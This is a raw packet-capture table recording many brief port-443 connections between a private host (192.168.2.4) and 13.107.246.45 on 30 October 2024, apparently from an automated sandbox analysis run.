Oct 30, 2024 20:14:09.653814077 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.653860092 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.653935909 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.654086113 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.654094934 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.658730030 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.659149885 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.659163952 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.659612894 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.659616947 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.792484045 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.792598963 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.792651892 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.792835951 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.792853117 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.792862892 CET	49828	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.792870045 CET	443	49828	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.795667887 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.795761108 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:09.795857906 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.796008110 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:09.796036959 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.160332918 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.160746098 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.160789967 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.162878990 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.162888050 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.290427923 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.290517092 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.290608883 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.295330048 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.295353889 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.295367002 CET	49829	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.295372963 CET	443	49829	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.297801018 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.297847033 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.297919989 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.298084974 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.298094988 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.338839054 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.339323044 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.339348078 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.339790106 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.339797020 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.368330002 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.368892908 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.368921041 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.369352102 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.369358063 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.377655983 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.377938986 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.377969980 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.378258944 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.378266096 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.470693111 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.470778942 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.470859051 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.471041918 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.471064091 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.471076012 CET	49830	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.471081018 CET	443	49830	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.473727942 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.473769903 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.473860025 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.474102020 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.474117041 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.524801016 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.524873018 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.524947882 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.525132895 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.525150061 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.525166988 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.525172949 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.526495934 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.526664019 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.526719093 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.526752949 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.526772976 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.526783943 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.526791096 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.527913094 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.527955055 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.528043985 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.528177977 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.528207064 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.528914928 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.528954983 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.529026985 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.529114962 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.529135942 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.538717985 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.539129019 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.539159060 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.539566994 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.539572954 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.681386948 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.681468964 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.681555033 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.682547092 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.682562113 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.682569981 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.682574987 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.685776949 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.685880899 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:10.686122894 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.686528921 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:10.686563969 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.070791006 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.079859018 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.079879045 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.089643002 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.089660883 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.210889101 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.221582890 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.221611977 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.222054005 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.222059965 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.223675013 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.224196911 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.224248886 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.232887030 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.232917070 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.232932091 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.232939005 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.243900061 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.243983030 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.244061947 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.244281054 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.244311094 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.268631935 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.270154953 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.270174980 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.270684958 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.270695925 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.278829098 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.279333115 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.279362917 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.279726028 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.279736996 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.351274014 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.351375103 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.351450920 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.351620913 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.351645947 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.351659060 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.351665974 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.354535103 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.354553938 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.354640007 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.354804039 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.354814053 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.407437086 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.407505989 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.407578945 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.407809973 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.407850027 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.407876968 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.407893896 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.410835981 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.410871029 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.410952091 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.411173105 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.411183119 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.415628910 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.416076899 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.416136980 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.416182041 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.416182041 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.416203022 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.416215897 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.418066025 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.418092966 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.418167114 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.418287992 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.418299913 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.461718082 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.462249994 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.462342024 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.462692022 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.462706089 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.591521025 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.591909885 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.591973066 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.592113972 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.592113972 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.592158079 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.592185974 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.594897032 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.594937086 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.595019102 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.595204115 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.595216036 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.992388010 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.992882013 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.992979050 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:11.993364096 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:11.993392944 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.084489107 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.085108995 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.085154057 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.085589886 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.085603952 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.134258032 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.134274960 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.134324074 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.134335995 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.134397984 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.134612083 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.134612083 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.134655952 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.134682894 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.137429953 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.137476921 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.137567043 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.137736082 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.137774944 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.182583094 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.183099031 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.183187962 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.183526039 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.183542013 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.187896967 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.188143015 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.188164949 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.188466072 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.188472986 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.214096069 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.214171886 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.214242935 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.214343071 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.214390039 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.214416981 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.214432955 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.216882944 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.216978073 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.217073917 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.217202902 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.217226982 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.314075947 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.314100027 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.314162970 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.314353943 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.314353943 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.314464092 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.314464092 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.314528942 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.314554930 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.316945076 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.317034006 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.317118883 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.317251921 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.317277908 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.324157000 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.324845076 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.324903011 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.324940920 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.324959993 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.324970007 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.324975967 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.326781988 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.326838017 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.326919079 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.327034950 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.327065945 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.335057020 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.335381985 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.335391045 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.335824966 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.335829020 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.471851110 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.471889019 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.471944094 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.471949100 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.471987009 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.472126961 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.472140074 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.472150087 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.472153902 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.474451065 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.474493027 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.474572897 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.474713087 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.474721909 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.886493921 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.886980057 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.887058020 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.887397051 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.887417078 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.943389893 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.943825960 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.943878889 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:12.944273949 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:12.944288969 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.019750118 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.019767046 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.019840002 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.019951105 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.020195007 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.020236969 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.020263910 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.020279884 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.022988081 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.023029089 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.023108006 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.023250103 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.023257971 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.056015968 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.056436062 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.056484938 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.056874037 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.056885958 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.067536116 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.067914963 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.067989111 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.068305016 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.068317890 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.075752020 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.075824976 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.075892925 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.076046944 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.076046944 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.076086044 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.076111078 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.078737974 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.078777075 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.078847885 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.078975916 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.079011917 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.189557076 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.189630985 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.189801931 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.190119982 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.190171003 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.190202951 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.190218925 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.192816019 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.192850113 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:13.192910910 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.193049908 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:13.193062067 CET	443	49851	13.107.246.45	192.168.2.4
